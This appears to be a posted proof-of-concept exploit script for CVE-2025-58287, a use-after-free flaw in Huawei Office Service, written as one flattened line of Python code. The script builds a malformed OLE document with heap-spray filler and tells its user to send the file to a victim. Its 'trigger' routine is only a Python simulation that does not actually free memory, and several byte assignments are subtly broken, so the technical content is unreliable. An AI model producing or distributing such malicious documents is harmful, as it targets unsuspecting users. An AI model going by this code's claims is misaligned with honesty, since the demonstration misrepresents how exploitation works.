CVE-2025-58287：华为办公服务Use After Free漏洞

# CVE-2025-58287 - Huawei Office Service Use After Free PoC (Conceptual) # This is a conceptual PoC demonstrating the UAF exploitation pattern. # Actual exploitation requires crafting a malicious document targeting the specific vulnerable code path. import struct import sys class UAFExploit: """ Conceptual PoC for CVE-2025-58287 (Huawei Office Service UAF) Vulnerability Type: Use After Free (CWE-416) """ def __init__(self, target_arch='arm64'): self.target_arch = target_arch self.doc_magic = b'\xD0\xCF\x11\xE0' # OLE Compound Document magic self.freed_ptr = None self.spray_objects = [] def craft_malicious_document(self, output_path='exploit.doc'): """ Craft a malicious office document that triggers the UAF in the Huawei Office Service parser. """ # Build OLE compound document header header = bytearray(512) header[0:8] = self.doc_magic + b'\xA1\xB1\x1A\xE1' # Sector size = 512 bytes struct.pack_into('<H', header, 30, 9) # Mini sector size = 64 bytes struct.pack_into('<H', header, 32, 6) # Create directory entry for malicious payload # This triggers the UAF by causing the parser to free # an internal buffer while retaining a reference to it dir_entry = bytearray(128) dir_entry[0:2] = b'\x05' # Root storage type dir_entry[66:70] = struct.pack('<I', 0xFFFFFFFE) # Invalid sector pointer # Embed payload that will be read after the object is freed payload = b'A' * 1024 # Heap spray filler payload += struct.pack('<Q', 0x4141414141414141) # Freed pointer reuse with open(output_path, 'wb') as f: f.write(bytes(header)) f.write(bytes(dir_entry)) f.write(payload) print(f"[+] Malicious document written to: {output_path}") print(f"[!] Send this file to the victim to trigger CVE-2025-58287") return output_path def trigger_uaf(self): """ Simulate the UAF trigger sequence: 1. Allocate object A 2. Free object A (but keep pointer) 3. Allocate object B (reuses freed memory) 4. Access object A through dangling pointer -> UAF! """ # Step 1: Object allocation obj_a = bytearray(256) obj_a[0:8] = b'OBJ_A_TAG' self.freed_ptr = obj_a # Step 2: Object freed (in vulnerable code, free() is called) # obj_a is now freed but freed_ptr still references it del obj_a # Step 3: Heap spray - allocate objects to reclaim freed memory for i in range(100): self.spray_objects.append(bytearray(256)) # Step 4: Access through dangling pointer -> USE AFTER FREE try: data = self.freed_ptr[0:8] print(f"[+] UAF triggered! Read data from freed memory: {data}") except Exception as e: print(f"[-] UAF triggered with exception: {e}") if __name__ == '__main__': print("=" * 60) print("CVE-2025-58287 - Huawei Office Service UAF PoC") print("CVSS 3.1: 7.8 (HIGH)") print("Vector: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H") print("=" * 60) exploit = UAFExploit() exploit.craft_malicious_document() exploit.trigger_uaf() print("\n[!] Note: This is a conceptual demonstration only.") print("[!] Real exploitation requires targeting the specific") print("[!] vulnerable code path in Huawei Office Service.")